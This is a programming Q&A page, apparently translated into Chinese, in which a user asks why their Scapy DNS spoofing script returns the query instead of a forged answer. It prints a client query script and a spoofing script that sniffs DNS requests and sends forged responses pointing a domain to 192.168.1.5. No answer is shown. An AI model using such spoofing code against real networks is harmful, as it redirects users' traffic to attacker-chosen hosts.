python - 无法在 Scapy 中发送 DNS 回复
问题描述
我正在尝试使用 Scapy 编写用于 DNS 欺骗的代码。一切正常,除了我的 DNS 服务器的响应错误。我应该得到这样的回应:
DNS Ans "198.71.55.197"
但我得到了
DNS Qry "google.com"
这是我的客户代码:
from scapy.all import DNS, DNSQR, IP, sr1, UDP
dns_req = IP(dst='8.8.8.8')/UDP(dport=53)/DNS(rd=1, qd=DNSQR(qname='www.thepacketgeek.com'))
answer = sr1(dns_req, verbose=0)
print(answer[DNS].summary())
这是我的 DNS 欺骗服务器代码:
from scapy.all import *
DNS_SERVER_IP = "127.0.0.1"
def packetsniff(packet):
if(packet.haslayer(DNS) and packet.getlayer(DNS).qr==0):
if("www.thepacketgeek.com" in str(packet[DNS]["DNS Question Record"].qname)):
spf_res = IP(dst=packet[IP].src, src=packet[IP].dst)/\
UDP(dport=packet[UDP].sport,sport=packet[UDP].dport)/\
DNS(id=packet[DNS].id,qr=1, aa=1, ancount=1,qd = packet[DNS].qd,\
an=DNSRR(rrname="pkt[DNSQR].qname", ttl=10, rdata="192.168.1.5"))
send(spf_res, verbose=0)
return "spoofed request sent :" +packet[IP].src
else:
return "not me"
sniff(filter="udp", prn=packetsniff)
我做错了什么?
解决方案
推荐阅读
- java - 是否可以在 Elastic Search 中将两个单独的查询减少到只有一个?
- r - 在r中生成大于1但小于n的序列向量
- php - 从 $q 返回的表名中选择 * = intval($_GET['q']);
- docker - Docker COPY 在 Jenkins 上构建映像期间使缓存无效
- android - 包含文件时无法使用多部分发布数据
- airflow-scheduler - 调度程序不遵守 Apache Airflow 队列参数
- c# - ADO NET C# 如何将集合添加到数据库?
- microsoft-graph-api - Microsoft Graph API:如何使用获取调用方法?
- javascript - 如何通过jquery将字符串第一个和最后一个添加到复选框
- typo3 - 从 TYPO3 7.6.32 升级到 8.7.32 “卡住”在 93%